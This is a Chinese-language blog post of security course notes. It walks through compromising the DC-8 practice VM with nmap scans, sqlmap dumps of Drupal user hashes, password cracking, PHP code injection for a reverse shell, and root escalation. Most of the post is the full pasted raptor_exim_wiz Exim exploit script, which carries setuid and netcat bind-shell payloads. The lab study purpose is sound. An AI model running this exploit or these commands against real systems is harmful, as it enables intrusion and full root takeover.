引言:我的系列博客[網絡安全學習篇]上線了,小編也是初次創作博客,經驗不足;對千峯網絡信息安全開源的視頻公開課程的學習整理的筆記整理的也比較粗糙,其實看到目錄有300多集的時候,講道理,有點慫了,所以我就想到了通過寫博客(課程筆記)的形式去學習它,雖然寫博客會讓我多花幾倍的時間去學習它,但是當我完成一篇博客所獲得的成就感和你們對於我的認同感,讓我很滿足,能夠鼓勵我一天天的堅持下去,也希望和我一起學習本期視頻的"同道"們也能給一直堅持下去。我們大家一起加油。由於作者本身也是網絡信息安全小白,大部分知識點都是初次接觸,出現對其理解不深入,不完整,甚至也會出現錯誤有問題的地方,希望大家諒解、留言提出指正,同時也歡迎大家來找我一起交流學習!!!
往期博客:
第一階段:
[網絡安全學習篇1]:windowsxp、windows2003、windows7、windows2008系統部署(千峯網絡安全視頻筆記)
[網絡安全學習篇24]:漏洞與木馬(千峯網絡安全視頻筆記 p117-p118)
第二階段:
第三階段:
[網絡安全學習篇42]:靶場環境搭建(ubuntu系統安裝優化及vulhub安裝)
[網絡安全學習篇43]:PHP基礎+變量 運算符 流程控制語句
第四階段:
[網絡安全學習篇76]:滲透測試實戰-DC-8-靶機入侵(本篇)
下期博文:
目錄
信息收集
nmap
nmap -sP 192.168.1.2/24 -oN nmap.sP
nmap -A 192.168.1.171 -p- -oN nmap.A
droopescan
安裝droopescan
https://github.com/droope/droopescan#docker
安裝 pip : python get-pip.py
/droopescan# pip install -r requirements.txt
./droopescan scan drupal -u http://192.168.1.171 -e a
攻擊
sqlmap
sqlmap -u http://192.168.1.171/?nid=1 --dbs --batch
獲取數據庫表
sqlmap -u http://192.168.1.171/?nid=1 -D d7db --tables --batch
獲取users 表
sqlmap -u http://192.168.1.171/?nid=1 -D d7db -T users --dump --batch
得到兩個用戶
admin
john
各自的password 的hash 值:
$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
john
其中有一個用戶名是john 間接提示我們使用john 工具爆破,得到john 用戶的密碼
admin 用戶的密碼沒有爆破成功
使用賬密[john/turtle]登錄網站後臺 http://192.168.1.171/user/login
我們在 contact us --- webform --- form settings 發現存在代碼注入
注意:在PHP 代碼之前要加上一串字符串
下拉至底部,點擊保存
存在PHP代碼注入
反彈shell
反彈shell 成功
提權
sudo -l
沒有發現沒有相關漏洞
find / -perm -4000 2>/dev/null
借鑑大佬的wp exim4 可以利用 https://www.exploit-db.com/exploits/46996
該漏洞有兩種利用方法
本地開啓http 服務
由於我們反彈shell 得到的用戶在當前目錄下沒有寫權限,我們切換至/tmp 目錄下
./46996.sh
執行失敗
重新編輯文件
vi get
將下面內容粘貼 :wq 保存退出
METHOD="setuid" # default method
PAYLOAD_SETUID='${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t\x2ftmp\x2fpwned\x3bchmod\t4755\t\x2ftmp\x2fpwned\x22}}@localhost'
PAYLOAD_NETCAT='${run{\x2fbin\x2fsh\t-c\t\x22nc\t-lp\t31337\t-e\t\x2fbin\x2fsh\x22}}@localhost'
# usage instructions
function usage()
{
echo "$0 [-m METHOD]"
echo
echo "-m setuid : use the setuid payload (default)"
echo "-m netcat : use the netcat payload"
echo
exit 1
}
# payload delivery
function exploit()
{
# connect to localhost:25
exec 3<>/dev/tcp/localhost/25
# deliver the payload
read -u 3 && echo $REPLY
echo "helo localhost" >&3
read -u 3 && echo $REPLY
echo "mail from:<>" >&3
read -u 3 && echo $REPLY
echo "rcpt to:<$PAYLOAD>" >&3
read -u 3 && echo $REPLY
echo "data" >&3
read -u 3 && echo $REPLY
for i in {1..31}
do
echo "Received: $i" >&3
done
echo "." >&3
read -u 3 && echo $REPLY
echo "quit" >&3
read -u 3 && echo $REPLY
}
# print banner
echo
echo 'raptor_exim_wiz - "The Return of the WIZard" LPE exploit'
echo 'Copyright (c) 2019 Marco Ivaldi <[email protected]>'
echo
# parse command line
while [ ! -z "$1" ]; do
case $1 in
-m) shift; METHOD="$1"; shift;;
* ) usage
;;
esac
done
if [ -z $METHOD ]; then
usage
fi
# setuid method
if [ $METHOD = "setuid" ]; then
# prepare a setuid shell helper to circumvent bash checks
echo "Preparing setuid shell helper..."
echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" >/tmp/pwned.c
gcc -o /tmp/pwned /tmp/pwned.c 2>/dev/null
if [ $? -ne 0 ]; then
echo "Problems compiling setuid shell helper, check your gcc."
echo "Falling back to the /bin/sh method."
cp /bin/sh /tmp/pwned
fi
echo
# select and deliver the payload
echo "Delivering $METHOD payload..."
PAYLOAD=$PAYLOAD_SETUID
exploit
echo
# wait for the magic to happen and spawn our shell
echo "Waiting 5 seconds..."
sleep 5
ls -l /tmp/pwned
/tmp/pwned
# netcat method
elif [ $METHOD = "netcat" ]; then
# select and deliver the payload
echo "Delivering $METHOD payload..."
PAYLOAD=$PAYLOAD_NETCAT
exploit
echo
# wait for the magic to happen and spawn our shell
echo "Waiting 5 seconds..."
sleep 5
nc -v 127.0.0.1 31337
# print help
else
usage
fi
方法一
提權成功
方法二
提權失敗
拿到flag
參考文獻